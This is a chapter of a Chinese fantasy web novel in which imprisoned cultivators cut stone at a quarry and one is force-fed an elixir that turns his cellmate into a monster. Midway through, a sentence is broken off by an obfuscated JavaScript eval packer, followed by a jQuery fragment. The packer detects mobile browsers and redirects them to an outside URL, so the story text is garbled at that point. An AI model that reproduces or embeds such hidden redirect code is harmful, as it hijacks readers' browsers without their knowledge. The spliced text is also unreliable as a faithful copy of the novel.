段星河睁开一只眼,看着官差走远了。他低声道:“明天看看环境吧,总能找到法子逃出去。” 李玉真嗯了一声,片刻呼吸沉了下去。段星河累得很了,也渐渐睡了过去。 次日一早,官差提了个泔水桶过来,里头盛着些窝头。他打开牢门往地上一撂,道:“赶紧吃饭,吃饱了好干活。” 木桶上带着厚厚的霉斑,散发着一股难闻的臭味,像喂牲口一样。一群人还不习惯,犹豫了一下。有人上前拿了两个窝头,怕不够吃,又多拿了一个揣在怀里。其他人意识到不抢就没得吃了,纷纷一拥而上,开始争了起来。李玉真被人群挤在后面,一人把他推了个屁股蹲。李玉真怒道:“干什么,没吃过饭啊!” 他爬起来,人群都散没了,桶里空空如也。李玉真还没受过这样的憋屈,看着别人狼吞虎咽地啃窝头,自己却饿得前胸贴后背。他离家出走之前,没人告诉过他流浪在外,连个破窝头都要跟人抢,此时十分无措。 段星河从小就有丰富的跟人抢吃的经验,知道填饱肚子最重要。别人还没围过来,他已经从人群里挤出来了。他在牢房一角坐着,低声道:“李兄,来。” 李玉真走到他身边,段星河从怀里掏出一个窝头递给了他。 李玉真十分感激,小声道:“你够吃么?” 段星河一边腮帮子里塞着半个窝头,手里攥着另外半个,一手拉开衣襟,里头又露出两个杂合面窝头。李玉真忍不住笑了,道:“真有你的,不知道的还以为你是荒年过来的呢。” 段星河猛地被噎了一下,勉强把窝头咽了下去,眼神变得黯淡起来。片刻他又狠狠地咬了一口窝头,现在他能做的就是多吃点东西,万一等会儿要挨打,也能扛得住。 李玉真不知道自己说错了什么话,只觉得这人像头狼似的,话不多,但总是透着一股狠劲儿。他比自己会活,只要跟着他,肯定吃不了亏。 片刻众人吃完了饭,官差打开牢门,把他们带到了石料场里。在牢里待习惯了,眼睛有点不适应外头的阳光。众人都眯着眼,老老实实地站成一排。官差给他们发了凿子和锤子,让他们去开采石料。 段星河提着锤子,跟李玉真站在高大的岩壁面前。两人都有点犯难,李玉真道:“就硬凿啊?” 段星河道:“应该是吧。” 两人看了一眼周围,那些人也不知道在这里待了多久,虽然身体又黑又瘦的,胳膊上却都是肌肉。到处都是叮叮当当的声音,凿一阵子,就有人用小车把石料推出去。 官差提着鞭子从旁边经过,重重地抽了一下地面,溅的尘土飞扬,吼道:“看什么看,赶紧干活!” 那两人只好拿起了工具,开始像别人一样凿山。忙活了一上午,中午有人提着泔水桶来送饭。天气挺热的,官兵这回给他们端来了一大锅绿豆汤,中午给他们半个时辰的休息时间。 段星河靠着石壁坐在一片阴凉下,看着破碗里的绿豆汤,默默地把一只淹死的飞虫挑了出去。 李玉真喝完了汤,闭眼躺在阴凉里,一副虚脱的模样。他活到这么大都没干过这样的活,感觉手被震得嗡嗡发麻,耳朵里也一直叮叮当当的。难怪那些人都像行尸走肉似的,在这里待久了,谁都会变成那个样子。 他喃喃道:“段兄,我不行了。你要是能出去,记得去大新跟我爹说一声,说我已经死了,让他赶紧生个称心如意的儿子,也免得整天看着我心烦……” 段星河皱眉道:“男子汉大丈夫,哪能说死就死的。少说几句话,养精蓄锐,下午还得干活呢。” 李玉真颤巍巍地道:“我干不动了,我的手好疼啊。” 段星河恨铁不成钢地说:“傻子,混你不会啊?有人来了就凿,没人来的时候就歇一会儿。别动不动就要死要活的,咱们得一起逃出去。” 段星河就比他大一岁,但李玉真感觉他跟自己的人生导师似的,感慨道:“你可真好……活这么大,他们都嫌我不够努力,你还是头一个教我偷懒的人呢。” 段星河嘴角微微抽搐,感觉这不是什么值得感谢的事。有钱人家的孩子被养傻了,连活着的本能都被压抑的不像样。要是哪个皮小子带他翻墙逃学了,他说不定能记人家一辈子。 李玉真哀怨道:“我爹只会让我努力,我要是没拿第一,他就说我对不起他。我要是拿了第一,他就说是应该的。我跟他在一起虽然吃的好、穿得好,但感觉特别累。还不如跟你在一起呢,吃着窝头、喝着馊水,可至少能躺平歇一会儿啊……” 段星河没回答,李玉真抬眼看他,发现他垂着头已经睡着了。头顶的天空湛蓝,蝉嘶嘶鸣叫,燥热的夏日午后飘来一丝凉风。李玉真笑了一下,觉得这人真不是一般的皮实,跟他在一起,好像自己的生命力都被唤醒了。 开采了几天的石料,众人渐渐习惯了这里的生活,就连李玉真的抱怨也少多了。他已经掌握了偷懒的技巧,慢吞吞地抡着锤子,保存着自己的力气。 段星河眼角瞥着周围的情形,一边凿着石头。他观察到现在,对这里的情形大约有数了。采石场里每隔五丈远就有一个守卫监视着周围的情况,防止工匠偷懒,也防止有人逃跑。 值班房里还有些侍卫,偶尔会出来巡视一圈。那些人大多数时间都在打叶子牌、赌骰子,屋里不时爆发出一阵大笑声。采石场东边有一个大门,囚车便是从那里进来的,有不少人守卫。南边的牢房戒备森严,夜里被关进去,根本没有脱身的机会。他们要是想逃跑,只能白天乘人不备,从北边翻山逃出去。 他正寻思着,就听见北边传来几声尖锐的哨声,一群侍卫大声呼喝着跑过去。 “快,有人逃跑!” 其他工匠停下了手上的活,好奇地探头朝那边望去。就见一个大个子扛着个瘦猴儿,扒在凸起的山崖壁上,想趁人不备翻山逃走,却没想到被人发现了。 几十个官兵拿着刀剑站在下头,大声吼道:“下来!” 大个子还没爬出多远,被官差一拽脚后跟,咚地一声摔了下来。他浑身都要被摔散架了,疼的直哎呦。又有几个人拿着弓箭过来,吼道:“下不下来,再不下来老子放箭了!” 那瘦子扭头一看,见好几张弓拉满了对着自己,登时出了一身冷汗,连忙道:“别、别,我下去。” 他缓缓地爬了下来,一群侍卫一拥而上,把这两个人抓了起来。段星河远远地看了片刻,见一队官兵押着他们从这边经过。其他苦力幸灾乐祸地看着那两个逃跑失败的人,窃窃私语道:“活该,有他们好受的了。” 段星河看清了那两人的瞬间,大为愕然,下意识往前走了半步。 那大个子垂头丧气的,也没注意到这边。那个瘦子看了这边一眼,忽地睁大了眼睛,下意识道:“大师兄?” 身后的官差推了他一把,道:“快走!” 段星河十分诧异,失声道:“怎么是你们?” 7. 采石场 二 那两个不是别人,正是赵大海和伏顺。段星河一直都没找到他们,没想到他们跟自己一样倒霉,也被关在了这里。 侍卫不耐烦地推了伏顺一把,道:“少废话,赶紧走。” 又有别的侍卫往地上抽了一鞭,呵斥道:“都看什么,回去干活,快点!” 段星河等人只好回去继续凿石头,却竖着耳朵听着那边的动静,十分担心。伏顺和赵大海被拖进牢房里,挨了十来棍。那两人被打得鬼哭狼嚎,连声道:“官爷饶命,我们不敢逃跑了,不敢了!” 傍晚吃完了饭,段星河等人回到了牢房。官差把赵大海和伏顺扔了进来,居高临下地说:“看好了,谁敢逃跑,就跟他们一个下场。” 那两人被打的皮开肉绽,趴在地上动不了。其他人也不敢靠近他们,怕惹上麻烦。段星河本来还愁跟他们接触不到,没想到这就被关在一起了。他挪过去,低声道:“兄弟,你们没事吧?” 伏顺见了他,忍不住哭了,道:“大师兄,你怎么也被抓来了?” 段星河叹了口气道:“运气不好,在集上给人算命呢,就被人当壮丁抓过来了。” 伏顺长得瘦,伤得更重一些,此时趴在地上直倒气。赵大海道:“我们也差不多,被一道龙卷风刮到了都城附近。百姓说那阵妖风十分可疑,去跟官府举报了,我们俩就被官兵抓……抓奸……” 他一着急就容易口吃,伏顺忍不住道:“谁要跟你被抓奸,是被当成奸细抓过来了。” 赵大海道:“啊对!” 这两个人一落地就被抓起来了,应该被关了有一个多月了,比自己还倒霉。段星河十分同情,道:“你们受苦了。” 李玉真凑过来道:“这是你朋友?” 段星河道:“都是我师弟,他叫赵大海,他叫伏顺。” 李玉真朝他们一拱手,道:“幸会,我叫李玉真,在太清宫修行。哎……这两位就是你要找的人么?” 段星河道:“嗯,加上我一共来了五个人,我二师弟和小师妹不知道去了什么地方。” 李玉真拍了拍他肩膀,道:“想开点嘛,这不是一下子就找到两个了么。” 他一向都挺乐观的,这时候着急也无济于事,是得想开一点。伏顺有些忧愁,道:“唉,也不知道小师妹怎么样了,她要是跟二师兄在一起,那就还好。当时她第一个栽进洞里,说不定落单了。师娘就她一个女儿,弄丢了怎么跟咱们师父师娘交差啊……” 他说着话,伤口蓦然一疼,脸顿时扭曲起来。李玉真道:“这位兄弟,我会一点治疗的法术,如果不介意的话,我帮你看看?” 伏顺求之不得,立刻道:“那太好了,好兄弟,快救救我!” 他身上的血把衣裳都黏住了,李玉真拿了一瓢水,给他把衣裳弄湿,小心地揭了下来。他背上被打的血肉模糊的,旁边有人看了这边一眼,吓得咋舌,又把脖子缩了回去。 李玉真让段星河挡着,将灵力凝结在手中,口中念念有词。他手中泛起绿色的灵光,伤口处的皮肤加快生长起来,片刻伤口处结了一层粉色的嫩皮。 赵大海在旁边看着,十分惊讶,道:“兄弟你这本事了不得,失敬、失敬了!” 李玉真谦虚道:“一点治愈术而已,我再帮你看看。” 赵大海脱了外衣,李玉真施展灵力,帮他治愈了伤口。消耗了一番,他头上渗出了密密麻麻的汗珠。 伏顺和赵大海十分感激,看他的眼神都跟刚才不一样了。伏顺道:“多谢李兄,你可真是救我们性命的活菩萨!” 李玉真的脸色有点白,道:“我也就治一治皮外伤,再重一点就没办法了。” 他虽然累,但神色十分满足,仿佛觉得能帮到别人很有成就感。 段星河道:“你耗费了不少元气,歇一会儿吧。” 众人闭目养着神,李玉真喃喃道:“其实我就想像我师父一样,当个大天师,给人治治病、抓抓妖,没事的时候就打打坐。我爹说光闷着头修炼没出息,以后当上太清宫的掌教才对得起他,可我根本就不适合当掌教啊。” 段星河心不在焉道:“那他当上了么?” 李玉真迟疑了一下,道:“他当上了啊。” 段星河道:“自己都当不上还整天嫌弃你……哎,他是掌教?” 李玉真一脸无辜的模样,实在看不出是掌教的公子。可能是常年被他爹骂习惯了,非但看起来一点架子也没有,甚至还有点可怜。 段星河道:“那就做你喜欢的事嘛。” 李玉真静了片刻,道:“可我觉得不能太任性,要不然就对不起我爹。” 段星河印象中的父亲已经很模糊了,不知道父子之间是不是都这么难相处。他道:“你其实不用什么事都满足他的想法,你又不是为了帮他还愿而生的。” 李玉真的身体一震,抬眼看他。段星河靠在墙边,纵使身在阴暗的牢房里,却自在的像是在自己领土上的君王。他虽然拥有的东西不多,却可以为自己的一切做主,那种自由自在的人生让李玉真很羡慕。 自己这么年轻,应该勇敢一点,做一些想做的事,去自己想去的地方。他想了想,道:“段兄,要是咱们从这里出去了,我帮你们去找小师妹吧。” 段星河有些意外,却又笑了,道:“那当然好。咱们是共患难的兄弟,以后我回了外面的世界,你也可以来找我。” 李玉真道:“我知道,巴蜀青岩山,你们都在逍遥观修行。去了报段兄的名号就行了。” 伏顺道:“报我名字也好使,或者报赵大傻也行。” 赵大海道:“我叫赵大海,不叫赵大傻。” 几人都笑了,仿佛已经获得了自由。静了片刻,李玉真轻声道:“可是……咱们得先出去才行啊。” 段星河本来瞅着只有北边的山头有翻出去的可能,下午伏顺他们一被抓住,官差立刻给那边加派了一队人,唯一的路也被堵上了。 几个人的心里都有些沉,一时间也想不出办法来,渐渐地就睡着了。 半睡半醒中,段星河感觉胸口传来一阵阵灼热的疼痛,那个烙印又开始折磨他了。 段星河伸手抓了抓,疼痛没有减轻。四下黑沉沉的,其他人都睡着了,他却莫名有种被注视的感觉。他沉默地闭上了眼,自己不但要从这里逃出去,还得想办法把这个烙印消除才行。 自从赵大海他们逃跑失败之后,采石场看守的更严了。段星河等人干了一个多月的苦力,连一点机会也没找到。收了工,一群人待在牢房里,吃着干巴窝头,感觉十分疲惫。 这段时间他们天天凿石头,就连李玉真这样文弱的小道士,身体都练得结实多了。他撸起袖子,看着胳膊上隆起的肌肉,也不知道是好事还是坏事。 有几个官差抬着个白布担架,匆匆地把一个人抬了出去。这里隔三差五就有人死去,或是因为虚弱,或是受伤、生病,这里的人都已经习惯了,眼神里透着一股麻木。 走廊尽头放了个铜盆,牢头点燃了裹着苍术的纸捻子,强烈的烟气飘散开,免得疾病传开来死更多人。牢房里有人叹了口气,道:“这破日子,什么时候是个头啊。” 又有人道:“来了就出不去了……都这么长时间了,你怎么还想不透?” 那人不甘心道:“咱们不是修皇陵么,等石头凿完了,就能回家去了吧?” 一个年纪大些的人也是个游方道士,来的比他们要早,大家都叫他一声刘叔。他靠在墙角,带着一点嘲弄道:“想得美呢,凿完了石头,这条命也不是咱们自己的。钦天监给皇帝他老人家炼了不少仙丹,就等着人来试呢。” 段星河皱眉道:“他一边造陵寝,一边炼仙丹,这人到底是想死还是想活?” 李玉真道:“历代皇帝一登基就给自己造陵寝,这是传统。听说皇帝前阵子得了一场大病,养好了之后感慨生死无常,就开始重用钦天监的人,让那帮丹修给他炼长生丹了。” 段星河道:“试药的人呢?” “没有一个回来的。”刘叔阴沉沉地道,“你们来之前,这牢里塞得满满当当的,有十来个人,平时吹牛、打架,睡觉打呼噜磨牙放屁,都觉得自己能熬到回家。后来一个个都被带出去了,你们猜那些人还活着么?” 众人原本还觉得这牢里潮湿阴暗,此时却宁可在这里待着也不想被官差带出去了。老道士缓缓道:“钦天监的人炼一炉金丹,少说要七七四十九天,要不就是八八六十四天,还有九九八十一天之数。算日子,短的一炉丹要开了,你们都自求多福吧。” 众人感到了一阵寒意,蜷缩起了身子,希望那样的灾难不要降临到自己身上。就算逃不出去,多活一天也是好的。只要不被抓去试药,做苦力也显得没那么糟糕了。 天渐渐凉了,众人穿的囚服显得有点单薄了。官差扔给他们几件洗的发白的旧夹袄,众人早就冻坏了,一拥而上抢过去穿在了身上。赵大海个子太大了,穿最大号胳膊也露着半截,缩在墙角像一座小山似的。段星河看着袖子上的破洞,低声道:“你们说,这衣裳换过几个人穿了?” 穿过这些衣裳的人,应该已经都死了。伏顺冻的鼻涕都淌出来了,本来穿上夹袄挺高兴的,听他这么说,顿时高兴不起来了。 李玉真搓着手上的茧子,叹了口气道:“段兄,咱们来了有两个月了么?” 段星河道:“五十七天了。” 李玉真以为他大大咧咧的不在乎,没想到他算的比谁都清楚。他没精打采地道:“算这么清楚干什么,有朝一日找他们报仇啊?” 段星河拿石头往墙壁上划了一笔,一排正字码在墙角,道:“就是随手一记,明白一点总比稀里糊涂的要好。” 李玉真叹了口气,低声道:“要是师父在,肯定能把我救出去。” 他说过小时候师父带他去过不少地方,他师父应该挺疼他的,却不知道为什么放任他离家出走这么久。段星河道:“那他人呢,怎么不管你了?” 李玉真的神色黯淡下来,怅然道:“不是不管,是管不了了。我师父叫静华真人,他收我的时候都八百多岁了,比院子里的老椿树年纪都大。” 段星河意识到自己问了不该问的,他师父说不定已经没了。李玉真抬头看着虚空,眼中流露出无限怀念,幽幽道:“他飞升了。” 段星河道:“节哀……哎?飞升了!” 李玉真理所当然道:“昂,三花聚顶,红霞满天,整个京城的人都被震动了。当天就一群人挤到太清宫来上香,想沾点仙气。” 周围的人肃然起敬,世间修道的人多如过江之鲫,真正修成的却如鲤鱼化龙,屈指可数。李玉真与有荣焉,挺起了胸道:“我师父修的是无情道,一生收了不少徒弟,我是他的关门弟子。” 众人都震惊了,修无情道的居然还能成仙,简直世间罕见。 段星河若有所思道:“幸亏他收的徒弟是李兄。” 伏顺道:“不,幸亏李兄没叫他师尊。” 赵大海没听懂他们说什么,只是一心想出去,小心翼翼道:“那你能不能许个愿,看他老人家在天上能不能听见。” 李玉真忧愁道:“早许过多少回了,他不理我。可能这就是我命中的一劫,得靠自己过吧。” 众人聊着天,隔壁忽然传来牢门吱呀响的声音,有人被拖了出来。那人扒着铁栏道:“我不去……我还能凿石头,别拿我试药!” 官差拿刀鞘砸了他脑袋一下,叱道:“别不识抬举,跟我走!” 几个官差围上来,对着他踢了几脚,那人不敢反抗了。他拖着沉重的铁链子,被人押了出去。段星河扒着栏杆往外看,对面牢房的那个武疯子幸灾乐祸地说:“嘬嘬嘬,别看啦,你也想被抓走么?” 段星河不惯他这破毛病,道:“你来得早,不是应该你先去么?” 那武疯子呸了两声,气愤愤地道:“臭小子,你皮糙肉厚的,肯定是你先去!” 段星河躺了回去,头枕着双手。赵大海听着声音是从隔壁传来的,担心道:“离得这么近,该不会快轮到咱们了吧?” 李玉真道:“吃了那些药会怎么样,会暴毙么?” 刘叔幽幽地道:“暴毙都算好的了,听说有人吃了药,长出了三头六臂,身上冒着脓疙瘩,成了个怪物。想死又死不了,活也活不下去,那才叫惨呢。” 段星河道:“你怎么知道的?” 刘叔道:“西边有个山洞,外头有一层铁栏杆,里头关的都是试药的人。前阵子我在那附近凿石头,听见有野兽呜呜地吼,不像狼、也不像老虎狮子。我心里好奇,就趁着中午过去看了一眼。你们猜怎么着——” 昏暗的灯光照过来,他盘腿坐在地上,苍老的脸上带着神秘的神色。伏顺等人伸直了脑袋,下意识道:“怎么啦?” 刘叔道:“我见石牢里关着个一丈高的怪物,头上长着个人脑袋,脖子上还有个瘤子状的小脑袋。大脑袋吼,小脑袋跟着呜呜地哭,身上还长着十七八根触手拍着铁栏杆。我这辈子都没见过那么吓人的东西,当时就连滚带爬地跑了。” 众人的脸色都十分难看,伏顺缩了缩脖子,道:“哪有这么怪的东西,你老该不会是编来吓唬人的吧?” 刘叔咧开嘴,露出一排森森的细牙,道:“不信啊,你们自己找个机会去看看不就知道了。” 这时候几个官差走了过来,打开牢门道:“你们几个怎么回事,大半夜的不睡觉,在这儿摆龙门阵呢?” 另一人道:“分开关,要不然这几个人不老实。” 一人上前来,拿铁链套了段星河的脖子,先把他拉了出去。赵大海急道:“喂,你抓我师兄干什么?” 又有几个官差过来,给他们每人都套了根铁链,道:“押到别的牢房去,免得他们不老实!” 众人被拖出了牢房,心里十分慌张。伏顺嚷道:“干什么干什么,我不去别处,就在这里。” 一人踢了他屁股一脚,道:“你说了算还是我说了算,给我闭嘴!” 对面的那武疯子幸灾乐祸道:“嘿,小伙子,你要活不成啦!” 一名官差看了他一眼,道:“你也活腻了?” 那武疯子连忙缩成一团,却把脸埋在膝盖里,嘻嘻直笑,看别人倒霉十分兴奋。官差押着段星河往前走去,片刻出了牢房。段星河感觉不对,道:“不是关到别间去么,怎么出来了?” 一名官差道:“牢头看你身体好,抬举你,给你换个好点的地方住。” 段星河有不好的预感,道:“我不去。” 一群人推推搡搡的,道:“废什么话,赶紧走!” 他被一群人推着来到了采石场西边,正是刘叔说关着怪物的地方。他被推进了一间牢房,里头放着两张石床,还关着一个人,已经睡着了。官差锁住了牢门,道:“以后你就住这儿,白天不用上工,吃了就睡,好好享福就行了。” 那几人说着,哈哈大笑着扬长而去。段星河意识到自己是被他们抓来试药了,他以为自己年轻力壮的,这些人会让他多凿几天石头,没想到厄运这么快就降临到自己头上来了。 次日一早,阳光照了进来。这边的牢房是山洞凿成的,铁栏杆外面就是采石场。段星河听着远处叮叮当当的采石声,心中竟有些怀念。如今自己被关在这里吉凶未卜,还不如原来每天凿石头呢。 五六个官差提着个木桶过来了,里头盛着几个馒头,还有些青菜豆腐,待遇确实比以前好一点。但段星河一点也高兴不起来,知道这是拿命换的。 一人打开牢门,把饭往里一放。另一人从怀里掏出了一个小盒子,取出一颗拇指肚大的药丸来。采石场的张管事露出了一个亲切的笑容,对他道:“小兄弟,我看你最近劳累的很,吃了这药补一补。” 这必然不是什么好东西,段星河往后退去,道:“我不吃。” 张管事顿时收敛了笑容,阴沉道:“敬酒不吃吃罚酒。” 他一扬下巴,几个官差一拥而上,顿时把段星河按在了地上。 这帮混蛋,根本没把人当人。段星河简直要气炸了,七八只手按着他,还有人坐在了他的背上,压得他动弹不得。有人捏开了他的嘴,强行把药塞了进去。 段星河拼命挣扎,想吐出来,那些人却一直按着他,直到药都化了为止。又有官差抓住了另外一个囚犯,往他嘴里塞了一颗药。 官差放开了他们,早被关在这里的那人神色麻木,静静地垂着头。段星河干呕了几下,却什么也吐不出来。他怒道:“你们给我吃了什么!” 一群人大笑起来,一名官差锁上了牢门。张管事道:“你运气好,这一炉是司业炼的药。他老人家炼的药吃了都没什么大事,顶多肚子疼两天罢了。” 他看着段星河愤怒的神色,露出了愉快的笑容,道:“司正大人的药就不一样了,吃了多半会长出三头六臂来,他炼的药都养出好几个怪物了。你可得好好地活着,多试几炉药,也算你为咱们陛下长生做贡献了。” 段星河待了片刻,感觉肚子里热乎乎的,又有种刺痛的感觉。他盘膝坐起来,想要运功压制住毒质。对面床上的人蜷缩成一团,双手捂着头,好像脑袋疼的厉害。 “啊啊啊——啊啊啊啊啊。” 段星河跳下床来,道:“兄弟,你怎么了?” 那人疼的几乎失去了理智,用头直撞石床,鲜血不住往下淌。他脸上生着些癞蛤蟆似的疙瘩,显得十分丑陋,多半是吃了金丹之后长出来的。段星河伸手挡着他的头,道:“你冷静一下,别撞了!” 那人十分痛苦,哑声道:“我的头好疼,里面有虫子在钻……啊啊啊……有东西钻出来了么?” “没有,”段星河道,“你放心,什么也没有。” 他话音未落,忽然见那人的头皮裂开了一道缝,传来了窸窸窣窣的声音。段星河的身体顿时僵住了,只见一个羊角一样的东西冒了个尖,以肉眼可见的速度长了出来。 鲜血淌得那人满脸都是,他还不知道发生了什么,神色有点恍惚。 那只角长到两寸长,渐渐停了下来。那人身上的皮肤也裂出了大大小小的口子,血把衣裳染得通红。段星河一时间没动,在这种糟糕的环境当中,每一点力气都极其宝贵,若是给了别人,自己就可能面对死亡。 “啊啊啊……呜……” 那人疼的滚到了地上,浑身一个劲儿发抖。段星河有些不忍,还是握住了他的手,把一股灵力灌注进去。片刻那人的疼痛缓和了一点,哑声道:“别管我了,没用的。” 既然被关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152751|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一起就是难兄难弟,段星河安慰道:“别这么说,好好挺住,活着就有机会出去。” 那人颓然道:“我吃了十多天的药,早晚要变成个怪物……小兄弟,你要是有机会出去,能不能帮我个忙?” 段星河道:“你说。” 他道:“我是蜀山的弟子,叫张凌越,道号凌虚子。一个月前云游到大幽都城,被人抓到了这里。你拿上我的腰牌,有机会的话,帮我去蜀山一趟,跟我的未婚妻刘毅君说声抱歉,告诉她我已经不在了,让她别等我了。” 他说着,眼里盈满了泪水,十分不甘心,却也没有任何办法。他出来历练一趟,本想变得更强大,却没想到被困在这里,再也见不到心上人了。 张凌越把腰牌解下来,递了过来。令牌是乌木做成的,正面写着第十八代门徒张凌越,背面写着蜀山二字。蜀山这样的大宗门择徒甚严,他本来前途大有可为,却在异乡遇难。段星河很替他惋惜,道:“我知道了,我会帮你把话带到的。” 张凌越松了口气,颤抖着手摸了摸头顶,碰到了长出来的犄角。他忍不住落下泪来,道:“刘师姐……我真的好想念她。她看到我这个样子,肯定会很害怕。” 段星河道:“等以后出去了,总有法子治好的。” 张凌越笑了一下,神色凄然,道:“你什么也不知道……钦天监的李司正急功近利,炼的药号称能白日飞升,却会让人畸变。接下来我怕是要失去神智,变成一个彻头彻尾的怪物。” 他哑声道:“我是名门正派的弟子,不能为虎作伥。如果真到了那个时候,你就把我杀了吧,也算是全我名声。” 段星河沉默下来,对方也没再说话。两个人在牢房里待了一天,张凌越一直在昏睡。段星河感觉没有什么不好的变化,身体倒是好像变得轻盈敏捷了一些,看来那丹药练得还挺成功的。 官差见他活的挺精神的,十分满意,道:“还是司业大人慈悲,炼丹的手段也高明,比司正强多了。” 另一人拿胳膊肘捣了他一记,道:“司业才来多久,李司正从祖上好几辈就执掌钦天监了,用得着你来指手画脚么?” 那人还不服,低声道:“可太医院和李司正都治不好的病,被司业治好了,陛下现在器重司业的很呢。说不定什么时候,就让司业代替李家掌管钦天监了。” 另一人道:“李家也不是那么好惹的,哪能轻易被一个新人给挤下去。唉,跟咱们也没关系,走吧。” 段星河听他们嘀嘀咕咕的,也不知道是怎么回事。张凌越的身体这几天来一直在发生变化,刚吃下药那阵子长出了一只角,第二天脸上的脓疱更多了,到了第三天傍晚,他开始抱着头在床上打滚,浑身都被汗水湿透了。 段星河有些不忍,道:“道友,你没事吧。” 张凌越惨呼道:“我要死了……我的头要裂开了,啊啊啊……求求你,给我个痛快!” 他本来是个无辜的人,却被害成这个样子。段星河着实不忍心下手,可要不杀他,倒霉的就是自己了。他往腰间摸去,身上还带着个凿子,只要往那人脑后杵下去,就能结束他的痛苦了。 张凌越疼的浑身发抖,段星河正在迟疑间,只听滋啦一声,那人的头颅崩裂开来,一个长着角的畸形脑袋带着白色的脑浆,从里头露了出来。原本的脑袋被皮肉连着,耷拉在脖子两侧。 新生出来的那个脑袋好奇地看着段星河,咧开长着森森白齿的大嘴,露出了一个诡异的笑容。 段星河被面前恐怖的情形吓住了,下意识往后退去。外头有官差听见了动静,往里看了一眼,惊讶道:“啊啊……成了!仙丹催生出元婴了!” 那人转身往回跑去,迎面撞上了另一名官差。对方十分不悦,道:“慌慌张张的干什么。司业刚到大门口,要亲自来看试药的结果,惊扰了他老人家你担待得起么?” 那人喘着气道:“炼成了,李司正的药成了。服下之后便斩去了三尸,迅速达到元婴境界了!” 众人都十分惊讶,快步往山洞这边赶过来。段星河和这个怪物被关在狭窄的洞穴里,跑也跑不出去,感觉大事不妙。 他试探道:“张兄……道友?” 张凌越本体的脑袋瓜都碎了,眼前的人已经不是他了。怪物歪了歪头,吐出了一条又尖又长的舌头,舔了舔嘴唇。 它这是要吃人了。段星河心中骇然,用力捶打着铁栏杆,声嘶力竭地喊道:“开门——他变成妖物了,快开门!放我出去!” 那怪物的畸变还没完成,它每往前挪一步,皮肤便裂开一些。裂缝里钻出几条蛇一样的触手,啪地一下子砸了过来。岩洞一共就这么大,段星河躲不开,被抽的摔在了地上。 张凌越说的没错,等他彻底变成妖魔,就不好对付了。段星河攥紧了拳头,后悔没先下手为强了。 外头的官差们见了牢里的情形,都吓坏了,谁也不敢打开牢门。那小子命如草芥,死就死了,若是把那妖物放出来,遭殃的可就不止一个人了。 一只硕大的触手蠕动着,把段星河卷了起来。那触手的力气极大,段星河的骨头被勒得生疼,脸憋得通红。他拼命捶打着触手,大声呼救:“救命,放开我——” 他还没找到小师妹和步云邪,没把大家平安带回去,不能就这么死了。 强烈的求生欲激发了他体内的力量,胸口的烙印生出了灼热的感觉,剧烈地鼓动着。霎时间,一股强烈的灵力从他体内爆发出来,强大的冲击力带着紫色的光芒充满了山洞。怪物的触手顿时被撕的粉碎,大量的肉块掉了下来,发出了黏腻沉重的声音。 段星河跌落在地上,浑身都被那妖物身上淌出来的绿色黏液沾满了。他咳嗽了几声,强烈的腥气熏得他头昏脑涨。 “嗷呜呜呜呜!” 那妖兽疼的嘶声嚎叫,声音刺得人耳膜生疼。周围的人都捂起了耳朵,被震得十分痛苦。妖物的分裂还在继续着,它的右肩裂开了一道巨大的口子,又是几条触手伸了出来,在空中舞动着,足有一丈长。那情形极其诡异,让人简直无法想象。 有人仰望着空中的触须,喃喃道:“这算什么白日飞升,分明是变成了恶魔。” 妖兽用力一挥触手,段星河的反应极快,就地一滚躲过了那一击。它的触手粗壮沉重,轰地一声把牢门打出了个大洞。段星河眼前一亮,心道:“太好了,天不亡我!” 他一矮身从那个洞里钻了出来,几根触角从里头伸出来。段星河拼尽全力跑出了一段距离,大口喘着气。那头妖兽又气又急,发出了婴儿般的啼哭声。 “呜哇——哇!” 十七八只触手带着绿色的黏液,重重地撞击着牢门,发出咚咚的声音。大地为之震颤,尘土飞扬起来迷蒙了视线,铁栏杆摇摇欲坠,它就要从里头冲出来了。 远处凿石头的工匠们注意到了这边的异常,惊呼着四下逃散,官兵也慌张起来。一根触手卷住了段星河的脚腕,把他往回拖去。段星河竭力挣扎,身边却连个能抓一把的东西都没有。他的心沉了下去,脸被地上的砂砾摩擦的流了血,身体撞到了铁栏杆上。 “放开我!” 他抵着栏杆,挣扎中放声嘶吼。他浑身都是冷汗,不知道自己还能支撑多久。这时就见一支白羽箭破空而来,嗖地一声射向了那头妖兽。 “嗷嗷嗷嗷嗷嗷嗷——” 妖物的脑门被射中了,疼得松开了触手,发出了震天动地的嚎叫。众人回头望去,却是李玉真在慌乱中冲了过来,捡起了官兵丢弃的弓箭,朝那边射了过去。 他的手微微颤抖,仿佛也十分后怕。段星河诧异地看着他,简直不相信他能这么当机立断。方才若不是他及时出手,自己这条命就没了。 人群都在往反方向跑,他却冲过来救兄弟。段星河想起了他一直没回答自己的话,李玉真哑声道:“我的道心……是勇敢。” 采石场的管事被那一箭提醒过来,连忙喊道:“射杀,快射杀了它!” 一群官兵拿着弓箭冲过来,簌簌地朝牢房里放箭。妖物发出了歇斯底里的吼叫,身上被射的像刺猬一般,终于倒在地上没了气息。 众人松了口气,只觉得浑身上下都被冷汗湿透了。段星河喘着气,整个人都虚脱了,站立不住倒在地上。李玉真连忙扶住了他,急切道:“兄弟,你没事吧!” 这边地动山摇的,灾难刚刚平息,就见不远处几名黑衣侍卫抬了一顶蓝呢轿子过来,却是当官的来了。一名侍卫掀开了轿帘,里头的人穿着深青色的忠静服,缓步走了出来,道:“怎么回事,闹这么大动静?” 管事张掖连忙快步上前,躬身行礼道:“回禀司业,惊扰了大人,小的们罪该万死。是试药的人发生了畸变,小的们已经把它射杀了。” 那人没有回应,目光落在段星河身上,蓦然睁大了眼。 段星河喘着气,还沉浸在死里逃生的余悸中。他浑身都是血、冷汗,还有那怪物的黏液,眼睛都要睁不开了。一片模糊中,那位司业大人走到自己面前。段星河抬起头来,看着面前的人,一时间不敢相信自己的眼睛。 那人有些惊喜,又十分难过,颤声道:“我找了你好久,你怎么在这儿!” 段星河想说什么,却浑身都脱了力,一头向前栽过去,就这么失去了意识。 